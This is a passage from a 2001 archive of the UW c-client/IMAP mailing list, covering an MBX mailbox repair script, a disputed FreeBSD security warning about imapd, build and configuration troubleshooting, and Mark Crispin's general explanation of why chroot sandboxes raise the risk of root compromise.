bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: Subject: MBX repair tool MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We recently had a 20Mb MBX mailbox go bad, and I thought I would be able to fix it fairly quickly, convert it to Unix and back or something. It wasn't quite that easy. I ended up writing a repair script in Perl which is able to repair the list in 2 passes by finding the message lengths and rewriting the links. It will also rebuild the UIDs, though I see that mbxcvt is happy to do that. I just look for string matches with Perl regex, so a valid header in a message body would throw it. As so often happens, I thought I was writing a "quick" script and didn't go look to see if it had already been done, but having written it I thought I might as well make it available. ftp://andrew.triumf.ca/pub/mbxfix or http://andrew.triumf.ca/pub/mbxfix Why Perl and not use the c-client library ? Well, I'm much better at Perl than C, that's all. (I guess everyone knows this, but do NOT edit an MBX file. Instead, convert it to Unix first with mbxcvt, then edit it, then convert it back) -- Andrew Daviel, TRIUMF, Canada Tel. +1 (604) 222-7376 security@triumf.ca -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 17 17:50:50 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Oct 2001 17:50:50 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9I0onK32043 for ; Wed, 17 Oct 2001 17:50:49 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Oct 17 17:47:13 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9I0lCL11231; Wed, 17 Oct 2001 17:47:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9I0ku032220; Wed, 17 Oct 2001 17:46:56 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9I0joN168132 for ; Wed, 17 Oct 2001 17:45:50 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 17 17:45:49 2001 -0700 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9I0jnu30285 for ; Wed, 17 Oct 2001 17:45:49 -0700 Received: from [192.168.1.102] ([192.168.1.1]) by toadophile.com (8.10.2/8.10.2) with ESMTP id f9I0jdU03213 for ; Wed, 17 Oct 2001 17:45:39 -0700 (PDT) Message-Id: Date: Wed, 17 Oct 2001 17:45:39 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Subject: imapd on FreeBSD warning message ... In-Reply-To: <41450000.1003220745@news.rrz.Uni-Koeln.DE> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I was installing uw-imap from the ports collection that comes with the latest version of FreeBSD (4.4) and I got the following warning message: This port has been proven exploitable at several occasions (read up CERT advisories), leaving systems subject to remote root access. Before installing this package, please consider: Whether you really want to use this software. The integrity of your system may be at risk. I have read the comments on this in the FAQ. Given that the build that is in the FreeBSD ports collection is imap-2001.BETA.SNAP-0106191041.tar.Z I'm wondering ... - What's the validity of this particular claim? - Should I use a newer build of the software? In general I'm trying to use stuff from the ports collection, as I'm assuming that represents a certain amount of testing from the FreeBSD community. Thanks. -- Mark Edwards Engineer Mr. Toad's San Francisco -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 17 18:24:38 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Oct 2001 18:24:38 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9I1OaK08972 for ; Wed, 17 Oct 2001 18:24:37 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Oct 17 18:22:11 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9I1MBH20085; Wed, 17 Oct 2001 18:22:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9I1Kp934096; Wed, 17 Oct 2001 18:20:51 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9I1IdN38076 for ; Wed, 17 Oct 2001 18:18:39 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 17 18:15:50 2001 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9I1FnQ13765 for ; Wed, 17 Oct 2001 18:15:49 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9I1Fns04958; Wed, 17 Oct 2001 18:15:49 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (peter@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9I1FnP21928; Wed, 17 Oct 2001 18:15:49 -0700 Message-Id: Date: Wed, 17 Oct 2001 17:59:23 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@u.washington.edu Subject: re: imapd on FreeBSD warning message ... In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The simple answer is that it's nonsense. This type of non-professionalism on the part of certain individuals in the FreeBSD community makes it difficult to take FreeBSD seriously. Yes, there were root-compromise bugs in past versions of imapd. But that was quite some time, and several versions, ago. Certain other widely-used servers distributed with FreeBSD have had many more CERT advisories. I would prefer not to speculate as to why FreeBSD singled out imapd. imap-2001.BETA.SNAP-0106191041.tar.Z is a development snapshot from June 19, 2001 (at 10:41AM Pacific time). We do not recommend that you run old development snapshots, particularly ones from several months ago. We recommend that you run either the final version of imap-2001: ftp://ftp.cac.washington.edu/mail/old/imap-2001.FINAL.tar.Z or the current imap-2001a release candidate: ftp://ftp.cac.washington.edu/mail/imap.tar.Z imap-2001a is a bugfix update to imap-2001, with one trivial new feature that does not affect imapd. From pinedev@shivax2.cac.washington.edu Fri Oct 19 12:16:20 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Oct 2001 12:16:19 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9JJGIK06604 for ; Fri, 19 Oct 2001 12:16:19 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 19 12:15:05 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9JJF5L13260; Fri, 19 Oct 2001 12:15:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9JJETL12812; Fri, 19 Oct 2001 12:14:29 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9JJBuN59734 for ; Fri, 19 Oct 2001 12:11:57 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Oct 19 12:11:56 2001 -0700 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9JJBtu24719 for ; Fri, 19 Oct 2001 12:11:56 -0700 Received: from localhost ([64.130.38.189]) by toadophile.com (8.10.2/8.10.2) with ESMTP id f9JJBj208455 for ; Fri, 19 Oct 2001 12:11:45 -0700 (PDT) Message-Id: <236EE768-C4C5-11D5-87E6-000A278CC960@mrtoads.com> Date: Fri, 19 Oct 2001 12:11:45 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: c-client@u.washington.edu Subject: mbx & imapd tools In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v472) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've got imapd running along nicely now on FreeBSD 4.4, using /var/mail/ (unix format I suppose). Two questions: 1) I was going to switch over to mbx format for the INBOX, but I can't get the tools to compile. I get the message: make: don't know how to make ../imap-2001a.RELEASE-CANDIDATE.1/c- client/mail.h. Stop I know the path to c-client is correct, because if I change it I get a different message about the path being wrong. 2) Do I need to use mbx format for imap access? I had plenty of trouble using Outlook Express to access imap on a different server until I switched to mbx format. If mbx is as necessary as it seems, why is the process of implementing it with imapd so obscure? Why doesn't imapd create mbx format mailboxes by default? Thanks. -- Mark Edwards San Francisco, CA MarkEdwards@mac.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 19 12:39:36 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Oct 2001 12:39:36 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9JJdYK28222 for ; Fri, 19 Oct 2001 12:39:34 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 19 12:38:15 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9JJcEL14154; Fri, 19 Oct 2001 12:38:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9JJc0938838; Fri, 19 Oct 2001 12:38:00 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9JJb3N101906 for ; Fri, 19 Oct 2001 12:37:03 -0700 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Oct 19 12:37:03 2001 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (msj@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9JJb3U31300 for ; Fri, 19 Oct 2001 12:37:03 -0700 Message-Id: Date: Fri, 19 Oct 2001 12:19:17 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@u.washington.edu Subject: re: mbx & imapd tools In-Reply-To: <236EE768-C4C5-11D5-87E6-000A278CC960@mrtoads.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 19 Oct 2001 12:11:45 -0700, Mark Edwards wrote: > make: don't know how to make ../imap-2001a.RELEASE-CANDIDATE.1/c- > client/mail.h. Stop Have you done a build inside the imap-2001a.RELEASE-CANDIDATE.1 directory yet? You have to do that first. > 2) Do I need to use mbx format for imap access? I had plenty of trouble > using Outlook Express to access imap on a different server until I switched > to mbx format. One of the earmarks of a shoddy IMAP client is the assumption that it is always "alright" to have multiple servers accessing the same mailbox simultaneously. Thus, instead of thinking how to do an operation in a session that already has the mailbox open, it is "alright" to take the easy way out and just spawn another session. After all, why bother doing the right thing when it's faster to write a kludge. Well, it's not alright. OE is the best of Microsoft's clients. There are worse horror stories with Outlook and especially Entourage. Unfortunately, Microsoft does better at writing IMAP clients than many of its competitors, so don't take this as a Microsoft bash. I wish that I could understand why it is so hard to write a good IMAP client. > If mbx is as necessary as it seems, why is the process of > implementing it with imapd so obscure? Why doesn't imapd create mbx format > mailboxes by default? Not everybody wants a mail server that unilaterally changes mailbox formats to something unique and supported by no other program, that's why. The decision to switch to mbx format, or any other one-of-a-kind format such as Cyrus, has to be made soberly and with careful consideration of the consequences of incompatibility with the past 30 years of UNIX tools. From pinedev@shivax2.cac.washington.edu Sun Oct 21 22:14:54 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 21 Oct 2001 22:14:53 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9M5EqK28260 for ; Sun, 21 Oct 2001 22:14:53 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Sun Oct 21 22:14:35 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9M5EZL15958; Sun, 21 Oct 2001 22:14:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9M5EF013114; Sun, 21 Oct 2001 22:14:15 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9M5B1N162184 for ; Sun, 21 Oct 2001 22:11:05 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Sun Oct 21 22:11:00 2001 -0700 Received: from zulu.obsidian.com ([198.137.159.200]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9M5AaU12669 for ; Sun, 21 Oct 2001 22:10:36 -0700 Received: from ibo.obsidian.com ([192.168.159.210]) by zulu.obsidian.com (8.11.0/8.11.0) with ESMTP id f9M5AKh09418 for ; Mon, 22 Oct 2001 01:10:25 -0400 Message-Id: <5.1.0.14.0.20011022010839.026db0f0@127.0.0.1> Date: Mon, 22 Oct 2001 01:22:25 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: del To: c-client@u.washington.edu Subject: imapd and solaris 2.8 Ultra Sparc1, gcc 3.01 In-Reply-To: References: <82242.1002979373@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable X-Sender: del@192.168.159.2 (Unverified) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Greetings, I have compiled imap-2001a.DEV.SNAP-0110031901 on a Sun UltraSPARC 1 with=20 gcc 3.01 with SSL support and I have NOT been able to get it to work with=20 either Pine 4.10, Eudora 5.1 and Netscape Messenger 4.78. When I tried using mtest specifying the {server}mailbox here is the= response::: bash-2.03# mtest MTest -- C client test program Debug protocol (y/n)?y Mailbox ('?' for help): ? Enter INBOX, mailbox name, or IMAP mailbox as {host}mailbox Known local mailboxes: NIL INBOX, no inferiors or just hit return to quit Mailbox ('?' for help): {mx1.byteme.com}del %rsh to IMAP server timed out [Trying IP address [123.347.189.123] l =E0 %Missing IMAP reply key: l =E0 * NO [CLOSED] IMAP connection broken (server response) ?[CLOSED] IMAP connection broken (server response) Mailbox ('?' for help): ? Enter INBOX, mailbox name, or IMAP mailbox as {host}mailbox Known local mailboxes: NIL INBOX, no inferiors or just hit return to quit Mailbox ('?' for help): {mx1.byteme.com}del %rsh to IMAP server timed out [Trying IP address [123.347.189.123] l =E0 %Missing IMAP reply key: l =E0 * NO [CLOSED] IMAP connection broken (server response) ?[CLOSED] IMAP connection broken (server response) Mailbox ('?' for help): when I was trying to see what was going on here is what i got:: bash-2.03# ps -ef | grep -i imapd root 5582 1 0 00:19:28 ? 0:00 /usr/bin/rsh mx1.byteme.com= =20 -l root exec /etc/rimapd bash-2.03# ps -ef | grep -i imapd root 5582 1 0 00:19:28 ? 0:00 /usr/bin/rsh mx1.byteme.com= =20 -l root exec /etc/rimapd bash-2.03# ps -ef | grep -i imapd root 5582 1 0 00:19:28 ? 0:00 /usr/bin/rsh mx1.byteme.com= =20 -l root exec /etc/rimapd What is going on..? and what is it tying to call (/etc/rimapd)...???? of course i have made the appropriate changes to /etc/services and to=20 /etc/inetd.conf any help would be appreciated. Donnie -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Oct 21 23:31:57 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 21 Oct 2001 23:31:51 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9M6VoK22294 for ; Sun, 21 Oct 2001 23:31:50 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Sun Oct 21 23:31:31 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9M6VVH26520; Sun, 21 Oct 2001 23:31:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9M6VL009648; Sun, 21 Oct 2001 23:31:21 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9M6TCN167822 for ; Sun, 21 Oct 2001 23:29:12 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Sun Oct 21 23:28:56 2001 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (csp@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9M6Suw07487 for ; Sun, 21 Oct 2001 23:28:56 -0700 Message-Id: Date: Sun, 21 Oct 2001 23:10:27 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: del Cc: c-client@u.washington.edu Subject: re: imapd and solaris 2.8 Ultra Sparc1, gcc 3.01 In-Reply-To: <5.1.0.14.0.20011022010839.026db0f0@127.0.0.1> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It would help enormously in analyzing your problem if you did not put in fake domain names and equally fake IP addresses. Fake data just wastes everybody's time. Your rimapd question is covered in the documentation included with the software. The included documentation also discusses what constitutes a mailbox and the components of a mailbox name; a mailbox name on a newly installed IMAP server is very unlikely to be your user name. As matters stand, the only things that I can determine from your report are: (1) something is badly wrong with how you have installed the software, (2) you do not seem to have read much of the documentation and/or are very confused by what you read. The former is probably a consequence of the latter. However, although I've seen many ways that confused users get into trouble, the symptoms you report are new to me; I don't have a clue of what you did wrong. If you want a different reference than the included documentation, I recommend that you buy a copy of "Managing IMAP", by Dianna Mullet & Kevin Mullet, published by O'Reilly, ISBN 0-596-00012-X. You may find that a bit easier to follow. There isn't very much else that can be done to help you. Either you need to read the documentation, or you need to be more forthcoming with information necessary to investigate your problem (such as the real name of the IMAP server system and/or its real IP address). From pinedev@shivax2.cac.washington.edu Mon Oct 22 19:04:17 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Oct 2001 19:04:15 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9N24EK21694 for ; Mon, 22 Oct 2001 19:04:14 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Oct 22 19:01:52 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9N21qL20188; Mon, 22 Oct 2001 19:01:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9N21UL20956; Mon, 22 Oct 2001 19:01:30 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9N20AN88206 for ; Mon, 22 Oct 2001 19:00:10 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Oct 22 19:00:09 2001 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9N209Q11560 for ; Mon, 22 Oct 2001 19:00:09 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9N208s05329; Mon, 22 Oct 2001 19:00:08 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (dak@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9N207o06750; Mon, 22 Oct 2001 19:00:07 -0700 Message-Id: Date: Mon, 22 Oct 2001 17:51:51 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Anders Nordby Cc: "Scot W. Hetzel" , Mark Edwards , c-client@u.washington.edu Subject: Re: imapd on FreeBSD warning message ... In-Reply-To: <20011023024838.A71998@totem.fix.no> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 23 Oct 2001 02:48:39 +0200, Anders Nordby wrote: > Calling software/packages/port > maintainers non-professionals because they don't share your opinion is, > well, not really fair in my opinion. Look at it this way. Suppose I posted that "The current version of FreeBSD is INSECURE and YOUR SYSTEM IS AT GREAT RISK" because I heard about a FreeBSD security bug 3 years ago. The FreeBSD community would have a legitimate complaint. If you make a statement about the security of a software package, you had better make sure that you have evidence that such statements apply to that version. Only religions damn children, grandchildren, and great-grandchildren for the sins of the fathers. This type of practice plays into the hands of those who criticize the open source community. > * better, more detailed changelog that is updated for every release - is > it possible? When I write up change logs for public distribution (as opposed to our internal RCS logs), I concentrate on what is user-visible. I don't see much point in explaining every edit that is made to every file. Nor do I have the time to do so. > * what specific (!) measures have been made to try to prevent that > imap-uw will likely be vulnerable to buffer overflows and other common > security flaws? There is no longer any instance of the type of code that caused the root compromise security flaws. All strings that are copied in all c-client routines used by imapd are either length-limited or length tested or both. > * regarding the chroot-server option, how can you strongly discourage > locking down processes in a chroot sandbox? You can crack root using a daemon running in a chroot-root sandbox if all of the following conditions are true: 1) you have write access to the sandbox directory via a shell 2) at least one setuid-root program is on the same filesystem as the sandbox directory and can be hard-linked into the sandbox directory 3) that setuid-root program uses the filesystem for a security test. /bin/su is a good example. 4) you identify a means to subvert the daemon, so that it invokes that program from the sandbox directory while the daemon is in the sandbox. The first three are quite commonplace. Now you know why modern systems partitition disks so that home directories are on a different filesystem. The fourth condition is just a minor annoyance on a system which grants its users shell access...unless that daemon uses a chroot-sandbox. In that case, the problem is suddenly promoted to a root-compromise. That's why chroot-sandboxes aren't used often. The best way to think of it is that *any* problem in a chroot daemon is a potential root-compromise problem. imapd had two root-compromise security bugs in its 10+ year history. Chroot servers historically have had many more (just look at ftpd!!). I put in the chroot capability because some people wanted it, but it's turned off by default and is strongly advised against. From pinedev@shivax2.cac.washington.edu Mon Oct 29 01:57:40 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Oct 2001 01:57:39 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9T9vcK18588 for ; Mon, 29 Oct 2001 01:57:39 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Oct 29 01:57:29 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9T9vTL29000; Mon, 29 Oct 2001 01:57:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9T9to009062; Mon, 29 Oct 2001 01:55:50 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9T9pDN104718 for ; Mon, 29 Oct 2001 01:51:13 -0800 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Oct 29 01:51:12 2001 -0800 Received: from hotmail.com (f33.law9.hotmail.com [64.4.9.33]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9T9pCw20799 for ; Mon, 29 Oct 2001 01:51:12 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 29 Oct 2001 01:51:09 -0800 Received: from 210.210.35.81 by lw9fd.law9.hotmail.msn.com with HTTP; Mon, 29 Oct 2001 09:51:08 GMT Message-Id: Date: Mon, 29 Oct 2001 15:21:08 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nazer Mohideen" To: c-client@u.washington.edu Subject: How to link Borland C with this service Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [210.210.35.81] X-OriginalArrivalTime: 29 Oct 2001 09:51:09.0083 (UTC) FILETIME=[3C2D0EB0:01C1605F] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hy guys/gals, I noticed that we could link the borland c++ compiler with this service. can any one direct me Thanx Nazer _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 29 06:22:53 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Oct 2001 06:22:52 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9TEMpK28037 for ; Mon, 29 Oct 2001 06:22:51 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Oct 29 06:22:45 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9TEMjH13473; Mon, 29 Oct 2001 06:22:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id 